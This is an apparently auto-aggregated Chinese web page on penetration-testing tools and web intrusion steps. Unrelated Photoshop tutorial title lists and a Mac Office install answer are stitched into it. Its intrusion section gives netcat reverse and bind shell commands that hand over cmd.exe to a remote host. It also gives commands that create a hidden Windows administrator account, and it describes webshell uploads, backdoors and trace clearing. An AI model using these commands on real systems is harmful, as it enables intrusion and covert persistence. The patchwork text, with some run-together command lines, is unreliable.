本文目录一览：
渗透测试工具的渗透测试工具
通常的黑客攻击包括预攻击、攻击和后攻击三个阶段；预攻击阶段主要指一些信息收集和漏洞扫描的过程；攻击过程主要是利用第一阶段发现的漏洞或弱口令等脆弱性进行入侵；后攻击是指在获得攻击目标的一定权限后，对权限的提升、后面安装和痕迹清除等后续工作。与黑客的攻击相比，渗透测试仅仅进行预攻击阶段的工作，并不对系统本身造成危害，即仅仅通过一些信息搜集手段来探查系统的弱口令、漏洞等脆弱性信息。为了进行渗透测试，通常需要一些专业工具进行信息收集。渗透测试工具种类繁多，涉及广泛，按照功能和攻击目标分为网络扫描工具、通用漏洞检测、应用漏洞检测三类。
web渗透是什么？
Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透，以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。一般的渗透思路就是看是否有注入漏洞，然后注入得到后台管理员账号密码，登录后台，上传小马，再通过小马上传大马，提权，内网转发，进行内网渗透，扫描内网c段存活主机及开放端口，看其主机有无可利用漏洞（nessus）端口（nmap）对应服务及可能存在的漏洞，对其利用（msf）拿下内网，留下后门，清理痕迹。或者看是否有上传文件的地方，上传一句话木马，再用菜刀链接，拿到数据库并可执行cmd命令，可继续上大马.........思路很多，很多时候成不成功可能就是一个思路的问题，技术可以不高，思路一定得骚。
信息收集
信息收集是整个流程的重中之重，前期信息收集的越多，Web渗透的成功率就越高。
DNS域名信息：通过url获取其真实ip,子域名(Layer子域名爆破机)，旁站(K8旁站，御剑1.5)，c段，网站负责人及其信息（whois查询）
整站信息：服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型；
网站常见搭配为：
ASP和ASPX：ACCESS、SQLServer
PHP：MySQL、PostgreSQL
JSP：Oracle、MySQL
敏感目录信息（御剑，dirbust）
开放端口信息（nmp）
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描，看其是否有可利用漏洞。
常见漏洞：
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如：
Sql注入（sqlmap）
XSS（BEEF）
后台密码爆破（burp）
端口爆破（hydra）
提权
获得shell之后我们权限可能很低，因此要对自己提权，可以根据服务器版本对应的exp进行提权，对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法：
反向连接
在公网主机上进行监听：
nc-lvp 4444
在内网主机上执行：
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行：
nc-l -p 4444 -t -e cmd.exe
本地主机上执行：
nc-vv 远程主机ip4444
成功后，本地主机即可远程主机的一个shell
然后就是对内网进行渗透了，可以用主机漏洞扫描工具（nessus,x-scan等）进行扫描看是否有可用漏洞，可用msf进行利用，或者用nmap扫描存活主机及开放端口，可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马，留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工：
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到，但在控制面板可以看到，还需要改注册表才能实现控制版面也看不到，太过麻烦，不多赘述，所以还是用工具省心省力。
求超详细的PHOTO SHOP使用教程
你算找对人了!
给你点常用教程你自己看了就明白了!!
常用教程（带视频演示）
怎样使眼睛变大
如何把MM的眼睫毛变长
制作非主流颓废风格照片
怎样变成可爱羞红脸蛋
╲\◆打造烟熏妆MM
PS笔刷下载（需注册）
PS各种笔刷收集（1）
PS各种笔刷收集（2）
PS各种笔刷收集（3）
"╲\◆【PS教程】
用抽出抠婚纱
PS模拟油画效果
抽线效果新思考-制作美女描边
Photoshop给美女衣服换花样
PhotoShop实例---人体裂痕的做法
把照片处理成逼真的素描效果
当今比较流行的复古调色方法。黄色系。
Photoshop锐化滤镜把美女照片调的更清晰
PS易容术 让自己的脸无处不在
怎样做具有视觉冲击感的非主流照片
用Photoshop调出唯美梦幻效果
1分钟教你制作劲舞图片
一种简单的数码照片后期润饰
炫彩质感画面
让你的照片成为焦点
非主流-------风格化教程(更新完成教程)
为MM涂上闪亮唇彩水晶指甲
超简单人物美白-2分钟搞定
杂色背景抠图
欧风ICON
._oO海报制作Oo_.
把普通花变成玻璃花.非常帅喔...!
羽化溶图....很梦幻喔
★.一看便会的非主流照片制作‖■‖■‖■‖
漂亮的环扣签名
给睫毛加长,不是用睫毛笔刷的方法
背景系列(一)
钥匙扣效果（挂饰效果）
………………叠图简板教程 ……………………
用PS制作梦幻效果
@@@@黑白照片上色方法与技巧@@@@
Photoshop绘缤纷水晶枫叶
图片中的闪字教程（PS教程）
[转帖]一款精美图效
一种有点古典味道的签名效果
画吊坠教程
〉〉〉〉制作情侣爱心小饰品
简单复古签名教程
[PS边框]藤蔓框架置照片——完整签名图制作
历史记录笔刷给美女去斑——磨皮
PS:字体从花蕊散落的GIF
Photoshop创作超写实的出土文物
可爱边框制作
PS边框教程大集合
简单动漫签名制作,适合新手
PS闪字教程,简单易学
[原创]PS教程制作动漫海报
PS教程-----仿皮零夹签图
简单的卡通徽章制作
三步打造图片突起裂块
半透明效果...新手来学~
PS将废弃不用的照片变成艺术图片
简单制作－最佳颜色效果
PHOTOSHOP打造梦幻效果
怎样做具有视觉冲击感的非主流照片
非主流艺术照片制作
【Photoshop将人物照片调成泛黄色和柔和的效果】
笔刷应用之——梦幻星空效果
photoshop打造冬季恋歌浪漫雪景
给MM的头发上颜色
"╲\◆【PS文字制作教程】
photoshop制作简单又漂亮的网格字体
Photoshop制作发光打孔字
闪光字的制作
超酷黄金喜字
Photoshop特效：腐蚀的金属字
Photoshop CS精彩实例：绘制石块文字
Photoshop CS快速制作三维特效文字
Photoshop另类3D岩浆字效做法
晶莹剔透的透明效果文字
photoshop 做残缺字体效果
Photoshop制作像素化文字
PS趣味文字效果之一
Photoshop制作腐蚀金属块上的镂空字
PS趣味文字效果之二
一分钟学会制作文字凹陷效果
漂亮奇特的Photoshop双层字
金属玻璃字
Photoshop教程-网格字
Photoshop教程-金属文字
Photoshop冷峻的铁锈字教程
浑身带刺的仙人掌文字
PS质感文字系列之：蟒纹字
PS质感文字系列之：玻璃字
Photoshop的激情盛夏与清凉海滩
PS质感文字系列之：铸铁字
Photoshop美食系列之冰淇凌蛋糕
Photoshop文字特效：蓝冰文字
锈迹斑斑的铁皮字
把文字进行书写效果处理
Photoshop立体字教程
巧用路径工具做流线字
海滩情结：用Ps打造手写沙滩字
韩国可爱风格字体设计[教程]
透明字体描边教程
《PS教程》金属染血字
[字体教程]粉可爱的渐变字体
有沧桑感的文字
[字体教程]“女孩子常用”粉红立体字效果
Photoshop打造可爱的塑料文字
木乃伊字体
Ps一种字效.
可爱猪猪字效````顶起
水灵灵字体的制作
字体教程]滴血字的制作
一款可爱的磨沙字
超可爱的巧克力字体.喜欢的给顶一下喔```
蛮可爱滴牛奶字体
PS视频教程---艺术字效果
＞＞＞＞＞＞＞用PS打造个性闪字
ps字效】○可爱水晶字体的制作教程~○●|
【ps字效】五彩光芒字
【ps字效】 ★可爱滴略带透明滴水晶果冻字体★
[PS字效]字体效果大集合...= =!
ps教程:滴血字的制作 简单得让伱意想不到
"╲\◆【ug教程】
◆◆◆多种UGA闪字教程和素材。超详细◆◆◆
UG屏幕移动效果
【UG教程】 跳 跃 字 (文字版)
如何截取MV和制作GIF
完整的FLASH的制作教程！
【U5教程】不同颜色的闪字（转）
转)【U5教程】跳动字--UGA
u5里载入选区的用法
U5教程】怎样制作闪闪的背景
Ulead GIF Animator V5.05简单教程一
Ulead GIF Animator V5.05简单教程二
如何用做眨眼效果
U5简单的头像制作 新手进
【UG教程】不同颜色的闪字
教大家用Ulead GIF Animator 5 制作个性头像和签名图片
【UG教程】闪 图 的 制 作 方 法
"╲\◆ps视频教程"
3D晶体字的视频教程
Photoshop视频实例教程系列：金色效果字
Photoshop视频实例教程系列：木纹字
Photoshop视频实例教程系列：霓虹效果字
Photoshop视频实例教程系列：水晶效果
Photoshop视频实例教程系列：冰雪字
PS视频教程---水滴字
Photoshop视频实例教程系列：闪电效果
Photoshop视频实例教程系列：颤动字
Photoshop视频实例教程系列：黑白字
photoshop flash 视频教材（适合初学者）
"╲\◆非主流mm" 这里有做好的非主流图
潮 流 舘 NO.(2)_
潮 流 舘 NO.(3)____最近比较忙。
潮 流 舘 NO.(4)____发布新水印‘
潮 流 舘 NO.(5)——
潮 流 舘 NO.(7)
潮 流 舘 NO.(8)——街头潮流
潮 流 舘 NO.(9)——疯狂自拍
潮 流 舘 NO.(6)——最近天凉大家多注意额！
潮 流 舘 NO.(10)——要考试了。..
潮 流 舘 NO.(1)____all GIRLs.`
潮 流 舘 NO.(11)无敌大合照 ！
"╲\◆ps边框教程‘
16种做法简单的漂亮边框教程
照片效果制作
叶状边框
个性边框
边框集锦
边框
可爱宝宝新款蒙版.也可做GIF的边框
情侣专用半透明心型边框喔``
———杂志边框制作——————
将你的照片制作成包围的立体方盒
水晶边框制作
边框教程大集汇
超级简单可爱的4步边框制作
"╲\◆ps特效教程"
超细美眉通道抠图教程
photoshop高难度抠图的方法
树木枝叶的四种Photoshop抠图方法
PS为黑背景长发美女照片抠图换背
非常适合初学者的抠图方法
“完美选区” 利用“抽出”。。。
打造我的桌面-超强抠图合成创意实例
PHOTOSHOP抠取颜色相近的头发
用加深减淡工具巧妙的抠取婚纱
抠图的后期处理 去杂边
PHOTOSHOP抽出滤镜抠发法
Photoshop复杂背景抠取美女婚纱
图片换背景及环境色的处理
色彩范围命令的应用-二步抠出飘发MM
通道抠图-抠出模糊的头发
Photoshop抠图之毛茸茸的牧羊犬
Photoshop制作牛仔布
Photoshop特效：瓷器龟裂纹理效果
巧用Photoshop色阶功能打造水粉特效
极坐标的无限创意
教你学做一个小齿轮
混合模式之变亮模式运用实例
PHOTOSHOP制做烟花
Photoshop实例：完美打造一元硬币
苹果系统怎么安装beef xss
office of MAC 文件大小的1个多G， 后缀名是*.iso。需要你在网上下载。用U盘拷到你的MAC上。双击打开MAC上的"Microsoft Office 2011.iso"，按步骤一步步安装就可以了。安装完成后的，MAC最下面一栏里就会出现W/P/X/0几个图标的。说明你已经完装好了，可以使用了。
web渗透测试工具
第一个：NST
NST一套免费的开源应用程序，是一个基于Fedora的Linux发行版，可在32和64位平台上运行。这个可启动的Live
CD是用于监视、分析和维护计算机网络上的安全性;它可以很容易地将X86系统转换为肉机，这有助于入侵检测，网络流量嗅探，网络数据包生成，网络/主机扫描等。
第二个：NMAP
NMAP是发现企业网络中任何类型的弱点或漏洞的绝佳工具，它也是审计的好工具。该工具的作用是获取原始数据包并确定哪些主机在网络的特定段上可用，正在使用什么操作系统，以及识别特定主机的数据包防火墙或过滤器的不同类型和版本正在使用。NMAP对渗透测试过程的任何阶段都很有用并且还是免费的。
第三个：BeEF工具
BeEF工具主要利用移动端的客户，它的作用是用于检查Web浏览器，对抗Web抗击。BeEF用GitHub找漏洞，它探索了Web边界和客户端系统之外的缺陷。很重要的是，它是专门针对Web浏览器的，能够查看单个源上下文中的漏洞。
第四个：Acunetix Scanner
它是一款知名的网络漏洞扫描工具，能审计复杂的管理报告和问题，并且通过网络爬虫测试你的网站安全，检测流行安全漏洞，还能包含带外漏洞。它具有很高的检测率，覆盖超过4500个弱点;此外，这个工具包含了AcuSensor技术，手动渗透工具和内置漏洞测试，可快速抓取数千个网页，大大提升工作效率。
第五个：John the Ripper
它是一个简单可快速的密码破解工具，用于在已知密文的情况下尝试破解出明文的破解密码软件，支持大多数的加密算法，如DES、MD4、MD5等。
渗透测试工具的介绍
第一类：网络渗透测试工具
网络渗透测试工具是一种可以测试连接到网络的主机/系统的工具。通用的网络渗透测试工具有ciscoAttacks、Fast-Track、Metasploit、SAPExploitation等，这些工具各有各的特点和优势。因为网络渗透测试是一个相对广泛的概念，所以上述工具也可以包括社会工程学渗透测试模块，网络渗透测试模块和无线渗透测试模块。
第二类：社会工程学渗透测试工具
社会工程学渗透测试是利用社会工程学进行渗透测试，通常利用人们行为中的弱点来达到渗透的目的。典型的社会工程学渗透测试工具有BeefXSS和HoneyPots，这些工具诱使用户访问特定的网站，获得用户的Cookie信息，达到渗透的目的。
第三类：网站渗透测试工具
网站渗透测试是对Web应用程序和相应的设备配置进行渗透测试。在进行网站渗透测试时，安全工程序必须采用非破坏性的方法来发现目标系统中的潜在漏洞。常用的网络渗透测试工具有asp-auditor、darkmysql、fimap、xsser等。
第四类：无线渗透测试工具
无线渗透测试工具是蓝牙网络和无线局域网的渗透测试。在进行无线渗透测试时，一般需要先破解目标网络的密码，或者建立虚假热点来吸引目标用户访问，然后通过其他方式控制目标系统。常见的蓝牙网络渗透测试工具有atshell、btftp、bluediving、bluemaho等;常见的无线局域网渗透测试工具有aircack-ng、airmon-ng、pcapgetiv和weakivgeng等，这些工具实现了不同的功能，可以让安全工程师通过各种方式进行无线渗透测试。